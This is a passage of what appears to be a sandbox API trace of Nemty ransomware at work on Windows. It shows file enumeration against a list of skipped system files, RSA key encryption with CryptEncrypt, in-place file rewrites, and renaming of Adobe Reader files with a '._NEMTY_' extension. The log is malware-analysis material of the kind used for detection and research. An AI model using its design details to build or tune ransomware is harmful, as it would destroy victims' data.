lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.689] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.689] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.695] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.695] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0197.695] CloseHandle (hObject=0xffffffff) returned 0 [0197.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0197.695] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0197.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0197.695] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0197.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0197.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0197.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0197.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0197.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0197.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0197.695] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-ETen-B5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-eten-b5"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-ETen-B5._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-eten-b5._nemty_kgobjgd_")) returned 0 [0197.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0197.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0197.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0197.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0197.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0197.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0197.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0197.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0197.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0197.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.695] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-CID", cAlternateFileName="ADOBE-~3")) returned 1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2=".") returned 1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="..") returned 1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="...") returned 1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="windows") returned -1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="$RECYCLE.BIN") returned 1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="rsa") returned -1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="NTDETECT.COM") returned -1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="ntldr") returned -1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="MSDOS.SYS") returned -1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="IO.SYS") returned -1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="boot.ini") returned -1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="boot.ini") returned -1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="AUTOEXEC.BAT") returned -1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="ntuser.dat") returned -1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="desktop.ini") returned -1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="CONFIG.SYS") returned -1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="RECYCLER") returned -1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="BOOTSECT.BAK") returned -1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="bootmgr") returned -1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="programdata") returned -1 [0197.696] lstrcmpiW (lpString1="Adobe-CNS1-H-CID", lpString2="appdata") returned -1 [0197.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0197.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-CID", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0197.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-CID", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-H-CID", lpUsedDefaultChar=0x0) returned 16 [0197.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0197.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-CID", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0197.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-CID", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-H-CID", lpUsedDefaultChar=0x0) returned 16 [0197.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0197.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0197.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0197.697] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-CID", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0197.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.697] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-CID", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-H-CID", lpUsedDefaultChar=0x0) returned 16 [0197.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0197.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0197.697] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-CID", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0197.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0197.697] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-CID", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-H-CID", lpUsedDefaultChar=0x0) returned 16 [0197.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0197.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0197.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0197.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0197.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0197.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0197.697] Sleep (dwMilliseconds=0x5) [0197.712] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x297e1770, dwHighDateTime=0x1d561e8)) [0197.712] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x297e1770, dwHighDateTime=0x1d561e8)) [0197.712] GetLastError () returned 0x5 [0197.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0197.713] GetLastError () returned 0x5 [0197.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0197.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0197.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0197.713] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0197.713] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0197.713] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0197.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0197.713] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="8sGgcIBmG2JljaefXI8bKbmDaJssotdCrkbMaT0/6IblVznZtJjP1rgQvf43m7eI\r\nMZNEN/z2IVhwDOIrH052w2BMlp8m0XCJyuHQlLYDbc7m9s1N4KEpL+u6+YKK8DhZ\r\nGSkyDgw8ojbC4xeKb1pUW7M9Y3O57X086gPoI5y9Om22QMs8LngSfnEFTIYf916B\r\n9PJivG/bqKakkCR5PuSWFjyl1Oba3pRuZ0YWZraB3t64YU1q/y0LbrwhK5q8Bel3\r\nOKJH5ipAMTHCLiMD+W+mZycz6cUeP/x/EqMo30PaG7SR4QC30UK+0CAZ/dBw736g\r\nFFHCniFGBbnBVA1qXHPKlg==\r\n", pcchString=0x653e91c) returned 1 [0197.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0197.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0197.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0197.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0197.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0197.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0197.713] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-cid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0197.713] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0197.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0197.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.723] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.741] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.770] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.770] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.770] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.770] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.780] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.780] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.789] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.789] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.808] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.808] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.817] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.817] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.823] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.823] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0197.829] CloseHandle (hObject=0xffffffff) returned 0 [0197.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0197.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, 